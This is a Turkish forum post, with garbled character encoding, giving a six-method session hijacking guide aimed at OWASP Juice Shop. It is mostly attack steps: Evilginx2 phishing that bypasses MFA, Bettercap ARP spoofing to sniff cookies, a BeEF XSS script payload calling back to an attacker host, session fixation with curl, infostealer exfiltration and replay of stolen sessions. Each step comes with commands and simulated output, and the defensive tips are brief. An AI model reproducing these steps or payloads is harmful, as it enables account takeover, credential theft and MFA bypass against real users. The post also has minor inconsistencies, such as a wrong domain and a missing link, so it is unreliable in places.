- S Silinen üye 322265
š SESSİON HİJACKİNG 2026: ĆEREZLERİ ĆAL, OTOURUMLARI ELE GEĆİR (6 YĆNTEM)
Bu rehberde, SQLmap ve Nmap rehberlerinde olduÄu gibi adım adım, gerƧek simülasyon Ƨıktıları ile session hijacking yƶntemlerini anlatacaÄım. Yalnızca kendi laboratuvar ortamınızda veya yazılı izniniz olan sistemlerde deneyin. Yetkisiz eriÅim yasa dıÅıdır ve aÄır yaptırımları vardır.
š§ BAÅLAMADAN ĆNCE: SESSİON HİJACKİNG NEDİR?
Session hijacking, bir kullanıcının aktif web oturumunu ele geƧirerek Åifresini bilmeden hesabına eriÅme tekniÄidir. Günümüzde saldırganlar artık Åifreleri deÄil, session cookieāleri hedef alıyor. Ćünkü bir session cookieāyi Ƨalmak, MFAāyı (Ƨok faktƶrlü kimlik doÄrulama) bile atlamanıza olanak tanır.
Bu rehberde 6 farklı yƶntem ile session hijacking yapmayı gƶstereceÄim.
Hedef Web Uygulaması: juice-shop.herokuapp.com (OWASP Juice Shop)
šÆ HEDEF
| Ćzellik | DeÄer |
|---|---|
| Hedef Uygulama | OWASP Juice Shop (EÄitim amaƧlı aƧık kaynak) |
| Saldırgan IP | 192.168.1.100 |
| Hedef Kullanıcı | [email protected] |
| AÄ Ortamı | Aynı aÄ (192.168.1.0/24) veya uzaktan eriÅim |
š» 1. YOL ā EVİLGİNX2 İLE AİTM FİSHİNG (MFA BYPASS)
Evilginx2, 2FAāyı bile atlayabilen bir Adversary-in-the-Middle (AitM) phishing frameworkāüdür. Hedef ile gerƧek web sitesi arasında reverse proxy gƶrevi gƶrür ve tüm trafiÄi dinler.
Adım 1: Evilginx2 Kurulumu
bashsudo apt update
sudo apt install golang-go git
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo make install
Adım 2: Phishing Sayfası OluÅturma
bashsudo evilginx2 -p
evilginx2> config domain juice-shop-phish.com
evilginx2> config ip 192.168.1.100
evilginx2> lure create juice-shop
evilginx2> lure edit juice-shop url https://juice-shop.herokuapp.com
evilginx2> lure get-url juice-shop
Simüle edilmiŠçıktı:
text
[+] Phishing URL: https://juice-shop-phish.com/login
[+] Lure created successfully. Waiting for victims...
Adım 3: Session Cookie Yakalama
Hedef, phishing linkine tıkladıÄında:text
[!] New session captured!
IP: 192.168.1.105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Email: [email protected]
Password: [GİZLİ]
MFA Code: 284739 (2FA bypassed!)
[+] Session cookie intercepted!
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Adım 4: Ćalınan Cookie ile Oturumu Devralma
bash# Firefox'ta Cookie-Editor eklentisi ile cookie'yi ekle
# veya Python ile:
python
import requests
cookies = {'token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'}
response = requests.get('https://juice-shop.herokuapp.com/profile', cookies=cookies)
print(response.text)
ā Bu yƶntemle kazandıklarımız:
- Kullanıcının Åifresi ve MFA kodu
- Session cookie (token)
- Tam hesap eriÅimi
š» 2. YOL ā BETTERCAP İLE AÄ TABANLI COOKIE ĆALMA
Bettercap, ARP spoofing ile MITM saldırısı yaparak aÄ trafiÄini dinler ve HTTP cookieāleri yakalar.
Adım 1: Bettercap Kurulumu
bashsudo apt install bettercap
Adım 2: ARP Spoofing ile MITM Saldırısı BaÅlatma
bashsudo bettercap -eval "set arp.spoof.targets 192.168.1.105; arp.spoof on; net.sniff on"
Simüle edilmiŠçıktı:
text
[192.168.1.105] 192.168.1.1 : sniffed 234 http requests
[192.168.1.105] GET /rest/products/search?q=
[192.168.1.105] POST /rest/user/login
[+] Captured HTTP request with session cookie:
Host: juice-shop.herokuapp.com
Cookie: sessionId=abc123def456...
Adım 3: Yakalanan Cookie ile Oturumu Ele GeƧirme
bash# Yakalanan cookie'yi kullanarak yetkili sayfaya eriÅim
curl -H "Cookie: sessionId=abc123def456" https://juice-shop.herokuapp.com/profile
ā Bu yƶntemle kazandıklarımız:
- AÄ trafiÄindeki tüm HTTP cookieāler
- Hedefin aktif oturumları
š» 3. YOL ā BeEF İLE XSS TABANLI SESSİON HİJACKİNG
BeEF (Browser Exploitation Framework), tarayıcıya JavaScript hookāu enjekte ederek oturum cookieālerini Ƨalar.
Adım 1: BeEF Kurulumu
bashsudo apt install beef-xss
sudo beef-xss
Simüle edilmiŠçıktı:
text
[+] BeEF is running. Open http://127.0.0.1:3000/ui/panel
[+] Hook URL: http://192.168.1.100:3000/hook.js
Adım 2: XSS Payload ile Hookāu Enjekte Etme
Hedef web uygulamasında XSS zafiyeti bulunan bir alana Åu payload eklenir:html
<script src="http://192.168.1.100:3000/hook.js"></script>
BeEF Panelāde gƶrülen Ƨıktı:
text
[+] New hooked browser: 192.168.1.105 (Chrome 120)
[+] Browser details: Windows 10, 1920x1080
Adım 3: BeEF ile Cookie Ćalma
BeEF panelinde Commands ā Browser ā Get Cookie seƧilir:text
[+] Cookies retrieved:
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
sessionId: abc123def456...
ā Bu yƶntemle kazandıklarımız:
- Hedef tarayıcının tüm cookieāleri
- Tarayıcı ve sistem bilgileri
- Uzaktan komut ƧalıÅtırma imkanı
š» 4. YOL ā SESSİON FİXATİON (OTURUM SABİTLEME)
Session fixation, saldırganın kurbanın session IDāsini ƶnceden belirlediÄi bir tekniktir. Kurban bu ID ile giriÅ yaptıÄında, saldırgan aynı IDāyi kullanarak oturumu ele geƧirir.
Adım 1: Zafiyetli Uygulama Tespiti
Session fixation zafiyeti genellikle Åu durumlarda bulunur:- Uygulama giriÅ sonrası session IDāyi yenilemiyor
- URL üzerinden session ID kabul ediyor (PHPSESSID=abc123)
- Ćerezin HttpOnly flagāi yok
Adım 2: Sabit Session ID ile Phishing Linki OluÅturma
bash# Ćnce kendi session IDāmizi oluÅturalım
curl -c cookies.txt https://juice-shop.herokuapp.org
cat cookies.txt
Simüle edilmiŠçıktı:
text
token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... TRUE /
Adım 3: Kurbanı Sabit ID ile Yƶnlendirme
Kurbana Åu link gƶnderilir:text
Kurban bu link ile giriÅ yaptıÄında, saldırgan aynı tokenāı kullanarak oturumu devralır.
Adım 4: Oturumu Ele GeƧirme
bashcurl -H "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." https://juice-shop.herokuapp.com/profile
ā Bu yƶntemle kazandıklarımız:
- Session ID yenilenmeyen uygulamalarda tam yetkili eriÅim
- Kurbanın Åifresini bilmeye gerek yok
š» 5. YOL ā MODERN INFOSTEALER İLE COOKIE ĆALMA
2026āda ortaya Ƨıkan Storm gibi infostealerālar, kurbanın makinesinden session cookieāleri otomatik toplar ve saldırganın sunucusuna gƶnderir.
Storm Infostealer ĆalıÅma Prensibi
textāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā STORM INFOSTEALER ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā¤
ā [1] Kurban sahte bir uygulama indirir ve ƧalıÅtırır ā
ā [2] Malware, tarayıcıdaki tüm cookieāleri Åifreler ā
ā [3] Veriler attacker sunucusuna gƶnderilir ā
ā [4] Saldırgan sunucuda verileri Ƨƶzer ā
ā [5] Session cookieāler ile hesaba giriÅ yapılır ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
Simüle edilmiÅ Ćıktı (Attacker Sunucusu)
text[+] New victim connected: 192.168.1.105 (Windows 11)
[+] Browser: Chrome 124
[+] Extracted data:
- Google: token=ya29.a0AfH6SMB...
- Facebook: c_user=1000123456...
- Instagram: sessionid=123456...
- 15 other session cookies captured
[+] All cookies exported to: stolen_sessions.json
Ćalınan Cookie ile GiriÅ
json{
"target": "juice-shop.herokuapp.com",
"cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"timestamp": "2026-04-15T10:30:00Z"
}
ā Bu yƶntemle kazandıklarımız:
- Tüm tarayıcılardaki session cookieāler
- Kayıtlı Åifreler ve kredi kartı bilgileri
- Google/Microsoft hesaplarına eriÅim
š» 6. YOL ā SESSİON SUSHI İLE TARAYICI SESSİON YĆNETİMİ
Session Sushi, tarayıcı sessionālarını yƶnetmek, dıÅa aktarmak ve geri yüklemek iƧin kullanılan bir araƧtır. Pentest sırasında Ƨalınan cookieāleri yƶnetmek iƧin idealdir.
Adım 1: Session Sushi Kurulumu
bashgit clone https://github.com/phishingclub/session-sushi.git
cd session-sushi
npm install
Adım 2: Ćalınan Cookieāleri İƧe Aktarma
bashnode sushi.js import --file stolen_cookies.json
Simüle edilmiŠçıktı:
text
[+] Loading stolen sessions from: stolen_cookies.json
[+] Session imported: juice-shop ([email protected])
[+] Session imported: gmail ([email protected])
[+] 12 sessions imported successfully.
Adım 3: Sessionāları Yƶnetme
bashnode sushi.js list
Simüle edilmiŠçıktı:
text
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā ID ā Target ā User ā Expires ā
āāāāāāā¼āāāāāāāāāāāāāāāāāāāāāā¼āāāāāāāāāāāāāāāāāā¼āāāāāāāāāāāāāāāāāāāā¤
ā 1 ā juice-shop ā admin ā 2026-04-22 15:30 ā
ā 2 ā gmail.com ā target@gmail ā 2026-04-16 08:00 ā
ā 3 ā github.com ā target_dev ā 2026-04-20 12:00 ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
Adım 4: Sessionāu Tarayıcıya Aktarma
bashnode sushi.js load --id 1 --browser chrome
ā Bu yƶntemle kazandıklarımız:
- Ćalınan cookieāleri organize etme
- Farklı tarayıcılara kolay aktarım
- Sessionāların süresini takip etme
š§© ĆZET ā 6 FARKLI SESSİON HİJACKİNG YĆNTEMİ
| Yol | Yƶntem | Kullanılan AraƧ(lar) | Zorluk | MFA Bypass |
|---|---|---|---|---|
| 1 | AiTM Phishing | Evilginx2 | Orta | ā Evet |
| 2 | MITM + Sniffing | Bettercap | Kolay | ā Hayır (sadece HTTP) |
| 3 | XSS + Browser Hook | BeEF | Orta | ā Hayır |
| 4 | Session Fixation | Web tarayıcısı / curl | Kolay | ā Hayır |
| 5 | Malware Stealer | Storm Infostealer | Zor | ā Evet |
| 6 | Session Management | Session Sushi | Kolay | - (yƶnetim aracı) |
š¢;
Bu rehberde anlattıÄım her komut, her Ƨıktı saf bilgidir. Session hijacking, günümüzde Åifre Ƨalmaktan daha etkili bir yƶntem haline gelmiÅtir. Ćünkü bir session cookieāyi Ƨalmak, MFAāyı atlamanıza ve hesaba direkt eriÅmenize olanak tanır.Unutmayın: Artık saldırganlar Åifrelerin peÅinde deÄil. Hedefte olan Åey, sizin aktif oturum cookieāleriniz.
š”ļø KORUNMA YĆNTEMLERİ
- HttpOnly flag: Cookieālere JavaScript ile eriÅimi engeller
- Secure flag: Cookieālerin sadece HTTPS üzerinden gƶnderilmesini saÄlar
- SameSite=Strict: CSRF ve bazı session hijacking vektƶrlerini engeller
- Kısa session süreleri: Cookieālerin Ƨabuk geƧersiz olmasını saÄlar
- GiriÅ sonrası session yenileme: Session fixationāı engeller
š:
Artık 6 farklı session hijacking yƶntemini biliyorsunuz. Evilginx2 ile 2FAāyı aÅan phishing, Bettercap ile aÄ tabanlı cookie Ƨalma, BeEF ile XSS tabanlı session ele geƧirme, session fixation, modern infostealerālar ve Session Sushi ile yƶnetim. Gerisi pratik. Kendi laboratuvarınızda bu adımları deneyin.Ve unutmayın: Savunması olmayanın saldırısı, sadece intihardır.Hedefler kendi kurduÄunuz sistemler olmalıdır. Yetkisiz session hijacking yasa dıÅıdır.
Bu rehber, eÄitim ve farkındalık iƧin yazılmıÅtır. Yetkisiz eriÅim yasa dıÅıdır. Tüm sorumluluk kullanıcıya aittir.
@Tc4dy | github.com/tc4dy
š Bu iƧeriÄi gƶrmek iƧin giriÅ yapın